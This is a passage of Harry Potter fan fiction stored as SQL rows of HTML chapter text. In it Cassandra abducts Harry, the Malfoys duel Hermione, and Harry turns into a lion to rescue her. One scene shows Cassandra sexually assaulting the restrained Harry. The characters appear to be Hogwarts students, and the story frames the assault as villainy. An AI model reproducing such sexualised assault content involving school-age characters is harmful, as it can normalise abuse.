while.&#8221;</p>\n\n<p>Cassandra came out of her hiding place as well, and a sick smile was on her face.</p>\n\n<p>&#8220;Nicely done, Malfoy, now use the special rope to tie him up; it&#8217;s time that my plan became reality.&#8221;</p>\n\n<p>&#8220;Where&#8217;s Harry?&#8221; Hermione asked worriedly.&nbsp; It was almost halfway through dinner, and her fianc&#233; was nowhere in site.</p>\n\n<p>&#8220;Relax Herm, he&#8217;s probably just running late,&#8221; Ron stated.</p>\n\n<p>&#8220;I don&#8217;t know.&nbsp; With everything that&#8217;s happened lately, I&#8217;m just nervous.&#8221;</p>\n\n<p>&#8220;It&#8217;s perfectly understandable, girl,&#8221; Lavender added.</p>\n\n<p>At that moment, a barn owl came through the rafter windows and swooped down over the Gryffindor table.&nbsp; He dropped a letter into Hermione&#8217;s hands, and the young woman looked rather confused.&nbsp; She unrolled the parchment and saw that it was a note from Harry.</p>\n\n<p>&#8220;What&#8217;s that?&#8221;</p>\n\n<p>&#8220;It&#8217;s from, Harry, he&#8217;s asking me to meet him out by the lake at midnight; he has a special surprise for me.&#8221;</p>\n\n<p>&#8220;Sounds like that man of yours is planning a romantic evening for you two,&#8221; Lavender chuckled.</p>\n\n<p>&#8220;I&#8217;m not so sure; this seems a little strange to me.&#8221;</p>\n\n<p>&#8220;Oh, come on, Hermione, he feels bad about all the stuff that&#8217;s been going on, and he wants to make it up to you&#8230;or should I say&#8230;make out?&#8221;</p>\n\n<p>&#8220;Lavender!&#8221; she gasped and blushed furiously.</p>\n\n<p>&#8220;Just kidding.&#8221;</p>\n\n<p>&#8220;Maybe we should come with you?&#8221; Ron chuckled.</p>\n\n<p>&#8220;Ronald Weasley,&#8221; Lavender gawked and elbowed her boyfriend in the ribs.</p>\n\n<p>&#8220;Jeez, I didn&#8217;t really mean it,&#8221; he groaned.</p>\n\n<p>&#8220;No, actually I think it might be a good idea; this might be a trick of some sort,&#8221; Hermione explained.</p>\n\n<p>&#8220;That could be; sure, we&#8217;ll tag along.&#8221;</p>\n\n<p>Harry woke up with one of the worst headaches in history.&nbsp; His eyes slowly focused, and he took in his surroundings.&nbsp; It smelled dusky and damp, and he figured that he must in one of the dungeons.&nbsp; He was lying on a bed, and he quickly noticed two things.&nbsp; One, his hands and feet were tied to the bedposts, and two, he was stripped down to his pants.</p>\n\n<p>&#8220;What in bloody hell is going on here?&#8221; he demanded.</p>\n\n<p>&#8220;Ah, so you&#8217;re finally awake,&#8221; a familiar voice cooed.</p>\n\n<p>Cassandra came into the light, and Harry&#8217;s eyes widened at what she was wearing.&nbsp; It was a black, silk nightie that was almost completely transparent, and he could see almost all of her body.</p>\n\n<p>&#8220;Cassandra, let me go right now!&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry, but I can&#8217;t do that.&nbsp; Also Harry, don&#8217;t even think about trying to use magic on the robes; they&#8217;ve been enchanted to where magic can&#8217;t be used to untie them.&nbsp; So, now you&#8217;re my slave.&#8221;</p>\n\n<p>&#8220;What do you want?&#8221;</p>\n\n<p>&#8220;I&#8217;m so glad you asked,&#8221; she replied - her voice dripping with seduction.</p>\n\n<p>Cassandra sashayed over to the bed and proceeded to straddle his hips.&nbsp; She sat down right on top of his groin and wiggled her hips suggestively.&nbsp; Harry merely looked at her in disgust.</p>\n\n<p>&#8220;What I want, Harry&#8230;is you.&nbsp; I want to show you what you&#8217;ve been missing by involving yourself with that pathetic excuse for a girl.&nbsp; I will fulfill all your fantasies, Harry, and then some.&#8221;</p>\n\n<p>&#8220;Sorry, but I&#8217;m already taken.&nbsp; I&#8217;ve already met the woman of all my fantasies; there&#8217;s nothing that you can do for me,&#8221; he spat at her.</p>\n\n<p>Cassandra smiled coolly.</p>\n\n<p>&#8220;Oh really&#8230;then tell me&#8230;does she have such a beautiful set of these&#8230;&#8221; and she pressed her breasts directly into Harry&#8217;s face.</p>\n\n<p>He could feel the softness of her skin, but not one spark ignited inside him.&nbsp; Both his heart and his body knew whom they belonged with.&nbsp; Cassandra nuzzled her breasts into his face and giggled.</p>\n\n<p>&#8220;How&#8217;s that?&nbsp; What do you think of these?&#8221;</p>\n\n<p>When she sat back up, she was surprised to see Harry glaring at her with a sarcastic grin.</p>\n\n<p>&#8220;Hmmph, to be perfectly honest&#8230;&#8221; his voice lowered to evil whisper, &#8220;&#8230;Hermione&#8217;s are much better.&#8221;</p>\n\n<p>&#8220;You bastard!&#8221; and she smacked him across the face.</p>\n\n<p>&#8220;Try all you like, Cassandra, but you&#8217;re not going to make me forget about Hermione.&nbsp; She is a part of me, and I am a part of her.&nbsp; You won&#8217;t get any reaction out of me &#8211; not while Hermione owns my heart.&#8221;</p>\n\n<p>&#8220;I beg to differ, Harry, no man can resist me,&#8221; Cassandra said confidently.</p>\n\n<p>For the next few hours, she tried various tactics to make Harry want her.&nbsp; She would rub her body up against him and rub his crotch to try and get a rise out of him.&nbsp; But nothing effected him.&nbsp; Her measures eventually became drastic, and she squatted directly onto his face.&nbsp; Harry&#8217;s found his face buried between her thighs, and he could smell the musk coming from her.&nbsp; Cassandra was aroused, but she couldn&#8217;t make him want her.&nbsp; All Harry had to do was close his eyes and imagine Hermione&#8217;s face, and it gave him the strength needed to hold out.</p>\n\n<p>Hermione arrived at the lake just before midnight.&nbsp; Ron and Lavender were about fifty feet behind her.&nbsp; She was looking around trying to find Harry, but she couldn&#8217;t see him anywhere.</p>\n\n<p>&#8220;Harry, where are you?&#8221; she called.</p>\n\n<p>&#8220;Sorry Mudblood, but he&#8217;s a bit indisposed at the moment,&#8221; a voice laughed.</p>\n\n<p>Hermione snapped around to see Draco Malfoy leaning up against a tree.</p>\n\n<p>&#8220;What in bloody hell is going on here, Malfoy, and don&#8217;t lie to me!&#8221;</p>\n\n<p>Hermione&#8217;s hand instinctively reached for her wand, and Malfoy merely grinned.</p>\n\n<p>&#8220;Just wanted to isolate you from &#8216;hero boy&#8217;.&nbsp; You and I have an old score to settle, you prissy bitch.&#8221;</p>\n\n<p>&#8220;What have you done with Harry?&#8221;</p>\n\n<p>&#8220;Oh, I haven&#8217;t done anything, but right about now, I&#8217;d say Cassandra&#8217;s doing quite a few things to him,&#8221; he nearly cackled.</p>\n\n<p>Hermione&#8217;s face contorted in anger, and her eyes narrowed coldly.</p>\n\n<p>&#8220;Where is he?&#8221; she hissed and drew her wand.</p>\n\n<p>&#8220;Tsk&#8230;tsk&#8230;tsk&#8230;still a hothead aren&#8217;t you, Mudblood?&nbsp; Well then, why don&#8217;t you do something about it?&nbsp; Let&#8217;s see what all those books have taught you.&#8221;</p>\n\n<p>Malfoy drew out his wand, and Ron and Lavender came running up.</p>\n\n<p>&#8220;What&#8217;s going on here?&#8221; Ron demanded.</p>\n\n<p>&#8220;Stay out of this, Ron, this is my fight,&#8221; Hermione ordered.</p>\n\n<p>&#8220;Aren&#8217;t you a tad confident?&#8221; Malfoy laughed.</p>\n\n<p>&#8220;I know what I can do, greasehead; the question is, do you?&#8221;</p>\n\n<p>Malfoy cast a wind spell, and Hermione crouched and rolled away before it hit her.&nbsp; She counterattacked with an exploding spell that knocked Malfoy back several feet.&nbsp; Lifting his wand, he directed it towards the lake, and a giant wall of water came spiraling out.&nbsp; It swerved up in an arc and came crashing down onto Hermione.</p>\n\n<p>&#8220;There&#8230;how&#8217;s that!&nbsp; You can&#8217;t learn that from a book.&#8221;</p>\n\n<p>&#8220;I know that,&#8221; Hermione replied, and Malfoy&#8217;s jaw dropped.</p>\n\n<p>As the water cleared away, the young woman was standing inside a magical shield completely unharmed.</p>\n\n<p>&#8220;Hmmph, so you know a few things, but it still won&#8217;t help you.&#8221;</p>\n\n<p>Before Hermione could realize his plan, Malfoy cast a lightning spell, and the water under her feet served as a conductor.&nbsp; Hermione screamed as pain shot through her body.</p>\n\n<p>&#8220;You see, Mudblood, you&#8217;re no match for me.&#8221;</p>\n\n<p>Hermione gritted her teeth and shut out the pain; she would not lose to the likes of him.&nbsp; Concentrating her power in her wand, she raised her hand and spoke.</p>\n\n<p>&#8220;Disperse!&#8221;</p>\n\n<p>The lightning disappeared, and the water ran into the ground.&nbsp; Hermione collapsed to one knee breathing hard.&nbsp; Her robes were charred quite badly, and her body ached horribly.</p>\n\n<p>&#8220;Impressive, but it still won&#8217;t be enough to save you!&#8221;</p>\n\n<p>&#8220;I&#8217;ve heard enough of your lip, Malfoy.&#8221;</p>\n\n<p>Hermione stood back up and tucked her wand into her robes.&nbsp; She extended her hands and drew onto the confidence that Harry had given her.</p>\n\n<p>&#8220;Are you giving up already?&#8221;</p>\n\n<p>&#8220;Not on your life!&#8221; She extended her right hand and readied herself.</p>\n\n<p>&#8220;Pyros!&#8221;</p>\n\n<p>A pillar of fire exploded below Malfoy, and he jumped out of the way just in time, but Hermione had been counting on that.&nbsp; As he moved, she extended her left hand.</p>\n\n<p>&#8220;Tornados!&#8221;</p>\n\n<p>The spell struck the young man head on, and he was thrown a good fifty feet in the air.&nbsp; He slammed into a large, oak tree and lost consciousness.</p>\n\n<p>&#8220;Petrificas Totales!&#8221; Hermione ordered just to make sure he stayed there.</p>\n\n<p>After her spell was complete, she fell to her knees in exhaustion.</p>\n\n<p>&#8220;Hermione!&#8221; her two friends gasped and ran up to her.</p>\n\n<p>&#8220;That was incredible; she kicked Malfoy&#8217;s butt!&#8221; Ron said happily.</p>\n\n<p>&#8220;Are you all right?&#8221; Lavender asked, noting how raggedly her robes looked.</p>\n\n<p>&#8220;I think so; I&#8217;m just glad that it&#8217;s over.&#8221;</p>\n\n<p>&#8220;Who said it was over, Mudblood?&#8221;</p>\n\n<p>Hermione&#8217;s head snapped up; it couldn&#8217;t be Draco Malfoy.&nbsp; Her eyes widened, and a chill ran down her spine.</p>\n\n<p>&#8220;Show yourself,&#8221; Ron demanded as he stepped in front of Hermione.</p>\n\n<p>&#8220;Shut your mouth, Weasley, before I cut your tongue out!&#8221;</p>\n\n<p>The man emerged into the moonlight, and his white hair glistened slightly.</p>\n\n<p>&#8220;Lucius Malfoy,&#8221; Ron growled.</p>\n\n<p>&#8220;I&#8217;m quite impressed that such a weak girl could have defeated my son, but now, I will rectify that defeat.&nbsp; Stand up, girl, you will face me now!&#8221; and his drew out his wand.</p>\n\n<p>&#8220;Hold it, pal, she just finished a duel; she&#8217;s in no shape to fight again,&#8221; Lavender interrupted.</p>\n\n<p>&#8220;I&#8217;m not here to trifle with the likes of you&#8230;&#8221; and he flung the blonde off to the side.</p>\n\n<p>&#8220;Lavender!&#8221; Ron gasped and ran to her side.&nbsp; She didn&#8217;t seem to be harmed, but he wasn&#8217;t taking any chances.</p>\n\n<p>Hermione slowly got to her feet, and she took out her wand again.</p>\n\n<p>&#8220;So be it, I will fight to protect my friends.&#8221;</p>\n\n<p>&#8220;Then let us begin.&#8221;</p>\n\n<p>&#8220;Damn you, Harry, why don&#8217;t you respond?&#8221; Cassandra growled and slapped him for the tenth time.&nbsp; She&#8217;d tried everything in her arsenal, and he still wasn&#8217;t aroused.</p>\n\n<p>&#8220;I told you, Cassandra, you can&#8217;t make me betray Hermione; I love her too much!&#8221;</p>\n\n<p>&#8220;You pathetic idiot; men have killed to be in your position.&nbsp; You have no idea what I could do for you.&#8221;</p>\n\n<p>&#8220;I don&#8217;t need it; I already have the woman I want.&#8221;</p>\n\n<p>&#8220;You won&#8217;t have her for much longer.&#8221;</p>\n\n<p>&#8220;What are you talking about?&#8221; Harry demanded.</p>\n\n<p>&#8220;Oh nothing, just that I sent her a little note at dinnertime.&nbsp; She thought that she was going to meet you by the lake, but she&#8217;s in for a surprise.&nbsp; The Malfoys wanted to settle their score with your frizzy-haired bookworm so I obliged their request.&#8221;</p>\n\n<p>&#8220;You bitch, if they harm one hair on her head&#8230;I&#8217;ll rip them and you apart with my bare hands!&#8221;</p>\n\n<p>&#8220;Oh be quiet, you can&#8217;t do anything in your current position, and your magic is of no use to you.&nbsp; Just accept it, she is going to die!&#8221; Cassandra laughed sadistically.</p>\n\n<p>Harry was ready to explode with anger, but how was he going to get out of here.&nbsp; It was then that he felt something primal ignite inside him.&nbsp; Someone was threatening the one he loved and his soulmate; they would surely die.&nbsp; Something snapped inside him, and Harry felt every muscle in his body contract.</p>\n\n<p>&#8220;What are you trying to do?&#8221; Cassandra asked, while seeing him tense.</p>\n\n<p>Harry turned his eyes on her, and she backed away in shock.&nbsp; Those weren&#8217;t normal eyes; they looked almost animal-like.</p>\n\n<p>A few moments later, a mighty roar was unleashed in that dungeon, and it echoed through all of Hogwarts.</p>\n\n<p>Hermione was slowly losing her ground in her battle with Lucius Malfoy.&nbsp; She&#8217;d managed to avoid his first few attacks, but they held such great power that it had drained most of her remaining strength.&nbsp; She was on the defensive, and Malfoy was pressing his advantage.</p>\n\n<p>From inside the dungeons, a creature raced up the stairwells.&nbsp; It ran through the corridors at lightning speed and headed for the main gates.</p>\n\n<p>&#8220;You&#8217;ve put up quite a fight, Mudblood, I commend you for your training,&#8221; Lucius snickered as he flung Hermione back onto the ground.&nbsp; Her face was smudged with dirt, and blood was trailing from her bottom lip.</p>\n\n<p>&#8220;You haven&#8217;t won anything yet,&#8221; she fired back.</p>\n\n<p>&#8220;Hmmph, you and Potter have embarrassed my family for the last time; now, you will pay for it with you life!&#8221;</p>\n\n<p>Lucius raised his wand, and Hermione closed her eyes waiting for the spell to come.</p>\n\n<p>&#8220;RRRROOOOOOWWWWWRRRRRRR!!!&#8221;</p>\n\n<p>Another mighty roar sounded, and it made even Lucius Malfoy tremble with fear.&nbsp; He looked around for the source of it, but he couldn&#8217;t see anything.&nbsp; Hermione had heard it as well and clutched her wand in case it was a new enemy.</p>\n\n<p>All of a sudden, something leapt over the top of her and landed between her and Malfoy.&nbsp; The older man&#8217;s eyes widened in shock and partial horror at what stood in front of him.&nbsp; It bared it fangs and growled menacingly.&nbsp; Its mane bristled, and it readied itself for a battle.&nbsp; Hermione was stunned at what was standing in front of her.</p>\n\n<p>It was&#8230;it was&#8230;a lion.</p>\n\n<p>Author&#8217;s Notes:&nbsp; All right, how about that for an action chapter.&nbsp; Don&#8217;t worry, cause the party is just starting; it&#8217;s gonna get even uglier.</p> '),
	(244, 16, ' <p>Lucius Malfoy stared at the golden beast prowling around in front of him.&nbsp; Its eyes were locked on his every movement, and it growled deep in its throat.&nbsp; The lion turned its head, and Hermione gulped as it turned its attention to her.</p>\n\n<p>&#8216;Where did that come from?&#8217;</p>\n\n<p>She clutched her wand tightly as the lion took a few steps towards her.&nbsp; She got a good look at its face and saw its eyes &#8211; emerald green.&nbsp; Hermione recognized those eyes.</p>\n\n<p>The lion walked up to her and lowered its head as if bowing to her in respect.&nbsp; It growled affectionately and rubbed the side of its face up against her leg.&nbsp; She let out a much-needed breath.</p>\n\n<p>&#8220;Well&#8230;isn&#8217;t this cute?&#8221; Lucius laughed.</p>\n\n<p>The lion turned back around and resumed its post in front of Hermione.</p>\n\n<p>&#8220;I warn you, beast, move aside now, or you will be punished severely!&#8221;</p>\n\n<p>The majestic animal cleared its throat and let out a roar so powerful it shook the very ground; it had accepted its opponent&#8217;s challenge.</p>\n\n<p>&#8220;What is going on out here?&#8221;</p>\n\n<p>Hermione felt her heart jump for joy as she recognized Professor Dumbledore&#8217;s voice.&nbsp; Professor McGonagall and several other teachers were with him.&nbsp; They&#8217;d heard the lion&#8217;s roar and come to investigate what was going on.&nbsp; Also a contingent of students was piling out of the front gate heading towards her.</p>\n\n<p>&#8220;Hmmph&#8230;we&#8217;ll finish this at a later time,&#8221; Lucius sneered and lowered his wand.</p>\n\n<p>&#8220;Just remember&#8230;Mudblood&#8230;our next meeting with be the last time we meet.&#8221;</p>\n\n<p>Before Hermione could retort, the lion roared and began stomping towards the elder Malfoy.&nbsp; Lucius grabbed his son forcefully by the arm and shook him awake.</p>\n\n<p>&#8220;I will take care of you as well, beast, so remember who you have crossed this day,&#8221; and the Malfoys disappeared into the shadows.</p>\n\n<p>Hermione collapsed to her knees and lowered her wand; she was exhausted.&nbsp; However, she was elated because she&#8217;d matched wands with both Malfoys and stood up to both of them!&nbsp; She really had gotten a lot stronger.</p>\n\n<p>&#8220;Hermione!&#8221; Professor Dumbledore called again as he finally approached her.</p>\n\n<p>&#8220;Professor, I&#8217;m so glad to see you.&#8221;</p>\n\n<p>&#8220;What has happened out here, and where&#8230;did he come from?&#8221; he asked and pointed at the lion.</p>\n\n<p>The majestic beast turned toward the old wizard, and it almost looked liked it was smirking.&nbsp; It growled softly and padded over to Hermione.&nbsp; Her eyes widened as it approached her, and it lowered its head towards hers.&nbsp; Very carefully, it licked her cheek and wiped the blood away.&nbsp; Reaching up a trembling hand, she carefully petted its face, and it purred happily at her actions.</p>\n\n<p>&#8220;Sir, I honestly don&#8217;t know where he came from, but he helped me.&nbsp; He protected me from Malfoy; I&#8217;d probably be dead if this lion hadn&#8217;t shown up.&#8221;</p>\n\n<p>&#8220;So, that was Lucius Malfoy; I thought I recognized him.&nbsp; Why were you fighting him?&#8221;</p>\n\n<p>&#8220;I was giving a letter that said that Harry wanted to meet me here tonight, but when I got here, Draco was waiting for me.&nbsp; Oh no&#8230;Harry&#8230;we need to find Harry!&#8221;</p>\n\n<p>&#8220;Easy, Miss Granger, we will find him, but right now, you need to have those wounds treated.&nbsp; I must say that I&#8217;m very impressed that you could match wands with Lucius Malfoy and still be alive.&#8221;</p>\n\n<p>Hermione gave him a tired but bright smile.</p>\n\n<p>&#8220;Thank you, sir, I owe it to Harry training me this past summer.&nbsp; Please, we need to find him; he needs my help.&#8221;</p>\n\n<p>The lion growled at her comment and licked her cheek again.&nbsp; Hermione hugged its furry head; she somehow knew that she could trust the beast.&nbsp; The lion drew back and lay down in front of her.&nbsp; It cocked its head backwards.</p>\n\n<p>&#8220;He wants you to get on, Hermione.&#8221;</p>\n\n<p>&#8220;Albus&#8230;&#8221; McGonagall interrupted, &#8220;&#8230;Draco Malfoy is nowhere to be seen and neither is Cassandra Cross.&#8221;</p>\n\n<p>&#8220;Hmm, it seems that Harry was correct.&nbsp; Come, let&#8217;s take Miss Granger to the infirmary and then we will look for Mr. Potter.&#8221;</p>\n\n<p>The lion easily stood up with Hermione on its back and growled playfully.</p>\n\n<p>&#8220;Thank you,&#8221; she murmured and stroked its dark mane.</p>\n\n<p>The lion turned and began to walk towards the main gates.</p>\n\n<p>&#8220;Oh my&#8230;&#8221; Hagrid gasped as he saw what Hermione was riding on, &#8220;&#8230;where&#8217;d he come from?&nbsp; I don&#8217;t remember a lion living around the castle.&#8221;</p>\n\n<p>Hermione just smiled tiredly and shook her head, telling him not to worry about it.</p>\n\n<p>The students parted, and the lion carried Hermione back inside Hogwarts.&nbsp; Everyone was stunned to see a lion walking down the middle of the corridor, but they weren&#8217;t about to ask questions.</p>\n\n<p>The lion carried Hermione all the way to the hospital wing, and Madam Pomfrey was quite surprised to see the large beast carrying a battered and bruised Hermione.&nbsp; At first, she wouldn&#8217;t let him in, but it growled, and she relented.</p>\n\n<p>The lion stopped next to one of the beds and lay down on the floor.&nbsp; Hermione slid off its back and onto the comfortable bed.&nbsp; She turned to the large beast and smiled warmly.</p>\n\n<p>&#8220;Thank you, I don&#8217;t know what to say.&#8221;</p>\n\n<p>It shook its head and sat up on its haunches.&nbsp; With Professor Dumbledore and everyone else watching, the lion slowly began to change.</p>\n\n<p>Hermione&#8217;s eyes widened in shock as she watched the furry face turn into a human complexion.&nbsp; The man took form, and tears filled her eyes.</p>\n\n<p>&#8220;Harry!&#8221; she cried out happily.&nbsp; He stood there wearing only his pants, but he didn&#8217;t care about that one bit.</p>\n\n<p>He was at her side in an instant, and she crawled into his lap.&nbsp; Pressing her head against his chest, he ran his fingers through her brown hair and rocked her back and forth.</p>\n\n<p>&#8220;Sweetheart&#8230;I&#8217;m glad I made it in time.&#8221;</p>\n\n<p>It was then Hermione realized that he was only half-dressed.</p>\n\n<p>&#8220;Harry!&#8221; she gasped and looked up at him worriedly, &#8220;Cassandra&#8230;what did she do to you?&nbsp; Did she&#8230;did she&#8230;&#8221;</p>\n\n<p>&#8220;She tried, angel, but nothing happened&#8230;&#8221; he cupped her cheek and stared directly into her shimmering eyes.</p>\n\n<p>&#8220;I know who I want, and I will never betray you like that.&#8221; He caught her mouth with a deep, passionate kiss, and Hermione melted into his arms.</p>\n\n<p>&#8216;No one will take you from me again, Harry, never again.&#8217;</p>\n\n<p>As he held Hermione in his arms, Harry could feel several pairs of eyes staring at him.</p>\n\n<p>&#8220;Professor Dumbledore, I know you&#8217;re probably wondering why I didn&#8217;t tell you that I had become an Animagus, but the reason is because tonight was the first time I was able to change.&nbsp; Sirius had been trying to help me learn, but I&#8217;d never been able to do it before.&#8221;</p>\n\n<p>&#8220;Hmm, perhaps you should explain everything that happened tonight, Harry.&#8221;</p>\n\n<p>&#8220;Yes, sir.&nbsp; Well, I was heading to the Great Hall for dinner tonight when someone hit me upside the head.&nbsp; I&#8217;m not quite sure how long I was out, but when I came to I was tied to a bed in one of the dungeons.&nbsp; It was Cassandra who did it; she appeared about a minute after I woke up.&#8221;</p>\n\n<p>&#8220;Harry!&#8221; Hermione gasped, and her face popped up.&nbsp; He stroked her hair to calm her worried expression.</p>\n\n<p>&#8220;Why would Miss Cross restrain you like that?&nbsp; Untying robes would be a simple task,&#8221; Professor McGonagall stated.</p>\n\n<p>&#8220;Well ma&#8217;am, she actually enchanted the robes so that no magic could be used to untie them.&nbsp; As for why, she wants me.&nbsp; She&#8217;s jealous of what Hermione and I have, and she feels that I should be with her instead.&nbsp; She&#8217;d threatened me in the past, but she&#8217;s slowly become more and more bold the past month.&nbsp; Tonight was a culmination of her actions.&#8221;</p>\n\n<p>&#8220;And what was her intent?&#8221; Dumbledore asked with a rather interesting smile.</p>\n\n<p>&#8220;Without getting overly descriptive, Cassandra planned to show me that she could please me better physically that any other woman &#8211; especially Hermione.&nbsp; She spent at least an hour trying to convince me of that, but I wouldn&#8217;t listen to her.&#8221;</p>\n\n<p>Hermione could see his cheeks flushing, and she grinned inwardly at how hard this had to be for him to talk about &#8211; to Dumbledore of all people.</p>\n\n<p>&#8220;After Cassandra realized that I wouldn&#8217;t do what she wanted, she started antagonizing me and telling me about what was happening to Hermione.&nbsp; When she said that Hermione was going to die, something inside me just snapped.&nbsp; I&#8217;ve never felt so angry in my life.&nbsp; I couldn&#8217;t use my magic, but I knew that I didn&#8217;t care.&nbsp; I would do whatever it took to protect her&#8230;&#8221;</p>\n\n<p>Harry clutched his fianc&#233; to his chest and nuzzled her hair.</p>\n\n<p>&#8220;&#8230;I would protect my soulmate.&#8221;</p>\n\n<p>&#8220;And then you finally transformed,&#8221; Dumbledore finished.</p>\n\n<p>&#8220;Yes, I ripped the robes right off the bed posts and gave Cassandra a glare, warning her that she would die if she moved.&nbsp; I think that she was shocked at what I&#8217;d just done so she just took off and ran screaming down the corridor.&nbsp; I raced up the stairways and out the main gates hoping that I could reach Hermione in time.&#8221;</p>\n\n<p>&#8220;And he did, professor, Harry saved me,&#8221; Hermione piped up.</p>\n\n<p>&#8220;I have no doubt of that, Miss Granger, and I would like to commend you two for your achievements this evening, however, we still must find out what Miss Cross is up to and how she is connected with Malfoys.&#8221;</p>\n\n<p>&#8220;Sir, I believe that she merely uses the Malfoys as a source of information.&nbsp; She found Hermione&#8217;s address that way!&#8221;</p>\n\n<p>Harry realized what he&#8217;d just let slip, and Dumbledore looked at him very seriously.</p>\n\n<p>&#8220;Harry, are you saying that Cassandra was responsible for the attack on Hermione&#8217;s home?&#8221;</p>\n\n<p>&#8220;Yes, I am.&nbsp; She told me herself; she even gloated about it.&#8221;</p>\n\n<p>Hermione remained silent; she didn&#8217;t want to accidentally give away the truth about her parents being alive &#8211; not yet.</p>\n\n<p>&#8220;These are serious crimes she has committed, and if the Malfoys aided in this, they will be punished accordingly.&nbsp; I will see to that.&nbsp; I must contact Minister Fudge and have him assemble a team of Aurors to find Miss Cross.&nbsp; In the meantime, I suggest you two get some rest and recover your strength.&nbsp; You have the NEWTS coming up, and you need to be in top condition to do your best.&#8221;</p>\n\n<p>&#8220;Thank you, sir, we will do that,&#8221; Harry said in relief.</p>\n\n<p>&#8220;Very well.&nbsp; Then, if the teachers would please come with me,&#8221; he instructed, and the staff members followed him out the door.</p>\n\n<p>Madam Pomfrey took a look at Hermione, but she didn&#8217;t seem too concerned.</p>\n\n<p>&#8220;Well dear, considering you fought two duels in one night, you&#8217;re in pretty good shape.&nbsp; We&#8217;ll just clean up a few of your wounds, and you can turn in for the night.&#8221;</p>\n\n<p>&#8220;Um&#8230;ma&#8217;am, is it all right if I return to my room?&nbsp; I rather prefer to sleep in my own bed tonight.&#8221;</p>\n\n<p>&#8220;I shouldn&#8217;t really let you go without a night of observation, but&#8230;&#8221;</p>\n\n<p>Hermione&#8217;s eyes pleaded with her.</p>\n\n<p>&#8220;&#8230;all right.&nbsp; Just let me cast a few healing spells, and you could can go.&#8221;</p>\n\n<p>&#8220;Thank you,&#8221; Hermione said happily.</p>\n\n<p>&#8220;Mr. Potter, just make sure that she stays in bed and rests tonight, am I clear?&#8221; she said sternly.</p>\n\n<p>&#8220;Of course, I&#8217;ll charm her to the bed if I have to,&#8221; he chuckled.</p>\n\n<p>An hour later, Harry and Hermione were heading back to their common room.&nbsp; Ron had escorted Lavender back up earlier so that she could get some rest as well.&nbsp; Harry held onto Hermione as she leaned against him for support.&nbsp; They slowly made their way up the various stairwells and down the side corridor.&nbsp; Entering their common room, Harry directed them upstairs and into Hermione&#8217;s bedroom.</p>\n\n<p>&#8220;I feel like I can sleep for a year.&#8221;</p>\n\n<p>&#8220;Go right ahead, sweetheart.&#8221;</p>\n\n<p>Being as gentle as he could, Harry slowly undressed her, and Hermione smiled at the tenderness he was showing her.&nbsp; She loved the soft touch of his hands, and his voice rumbled deeply as he soothed her pain with his love.</p>\n\n<p>Harry opened her drawers and took out the first thing he saw.&nbsp; It was one of his old shirts that Hermione had borrowed as a joke, and she still had it.&nbsp; He helped her into it, and the large shirt slid almost down to her knees.</p>\n\n<p>&#8220;Nice outfit, Herm, it looks a lot better on you than on me.&#8221;</p>\n\n<p>&#8220;Cute, Potter, very cute; I happen to like this shirt!&#8221;</p>\n\n<p>&#8220;C&#8217;mon love, you need to rest.&#8221;</p>\n\n<p>Harry bent down and swept her up into his arms.&nbsp; Hermione smiled happily as he carried her to bed.&nbsp; She pulled back her covers, and he laid her down slowly.</p>\n\n<p>&#8220;Please stay with me, Harry.&#8221;</p>\n\n<p>&#8220;As you wish, sweetheart.&#8221;</p>\n\n<p>After discarding his pants on the floor, Harry slid under the covers, and Hermione snuggled into his arms.&nbsp; She laid her head against his chest and sighed as her sore body relaxed at the feel of his warm body against hers.</p>\n\n<p>&#8220;Harry?&#8221;</p>\n\n<p>&#8220;What is it, love?&#8221;</p>\n\n<p>&#8220;You said that Cassandra tried to convince you that she could please you better than I could.&nbsp; I was wondering&#8230;did you&#8230;I mean&#8230;did you feel&#8230;anything; I wouldn&#8217;t be upset if you did!&nbsp; I know that she&#8217;s pretty, and all the guys like how she looks so&#8230;&#8221;</p>\n\n<p>&#8220;Hush,&#8221; he said and put a finger to her lips.</p>\n\n<p>&#8220;Enough talking, Hermione, for once, don&#8217;t use that incredible brain of yours.&nbsp; It&#8217;s true that Cassandra is good looking, but you, my angel, are breathtaking.&nbsp; You have no idea how easily you turn me on; you&#8217;re smile could set me off in a second.&nbsp; Just because you don&#8217;t walk around with your breasts hanging out doesn&#8217;t mean that I don&#8217;t think you&#8217;re sexy.&nbsp; Cause personally, I think you are the sexiest&#8230;most sensual woman alive!&#8221;</p>\n\n<p>Harry stroked her curves, and Hermione arched into his touch.&nbsp; Her heart soared at his words, and her final doubts about herself vanished into thin air.&nbsp; She made him happy &#8211; in every possible way.</p>\n\n<p>&#8220;I love you,&#8221; she said softly and kissed him.</p>\n\n<p>&#8220;And I love you.&#8221;</p>\n\n<p>They kissed and talked for several minutes before their weary bodies finally succumb, and they fell asleep in each other&#8217;s arms.</p>\n\n<p>Author&#8217;s Notes:&nbsp; Hey everybody.&nbsp; Sorry that it&#8217;s been a while, but with Thanksgiving going on, I&#8217;ve been pulling double shifts at work.&nbsp; Plus, I finally got myself a new computer and have been moving my old files over.&nbsp; This story is closing in on its finale, but I don&#8217;t want it to end!&nbsp; However, all good things must come to an end so stay tuned for following chapters.</p> '),
	(244, 17, ' <p>Albus Dumbledore sat back in his desk chair and scratched his beard.&nbsp; He&#8217;d just listened to Harry and Hermione explain the incident concerning Cassandra and the Malfoys from start to finish.&nbsp; He also had Harry explain about everything that Cassandra had done during the term, and how she&#8217;d threatened Hermione.&nbsp; Harry had gone on to explain how he&#8217;d rescued Hermione&#8217;s parents, and why he hadn&#8217;t told anyone.&nbsp; The headmaster was slightly miffed that Harry hadn&#8217;t told him about this sooner.</p>\n\n<p>&#8220;Harry&#8230;it seems that trouble just won&#8217;t leave you alone,&#8221; the old man chuckled.</p>\n\n<p>&#8220;The boy always did have a habit of attracting it,&#8221; Sirius cut in.</p>\n\n<p>He leaned against one of the bookshelves with Remus and Moody standing next to him.</p>\n\n<p>&#8220;Sir, what exactly do we know about Cassandra?&#8221; Harry inquired.</p>\n\n<p>&#8220;I received her files from the headmaster in Salem, but there doesn&#8217;t seem to be any suspicious activity in her record.&nbsp; In fact, she appeared to be an exemplary student until she came here.&#8221;</p>\n\n<p>&#8220;I just don&#8217;t understand why she&#8217;s so obsessed with me.&nbsp; I feel bad that someone could become so evil just because she felt she liked me.&#8221;</p>\n\n<p>&#8220;Harry&#8230;&#8221; Hermione sighed and took his hand, &#8220;&#8230;This isn&#8217;t your fault.&nbsp; Cassandra is the only one who is responsible for her actions.&#8221;</p>\n\n<p>&#8220;Your fianc&#233; is right, Potter,&#8221; Moody said with a toothy grin.</p>\n\n<p>&#8220;Quite right.&nbsp; The ministry has a team of aurors searching 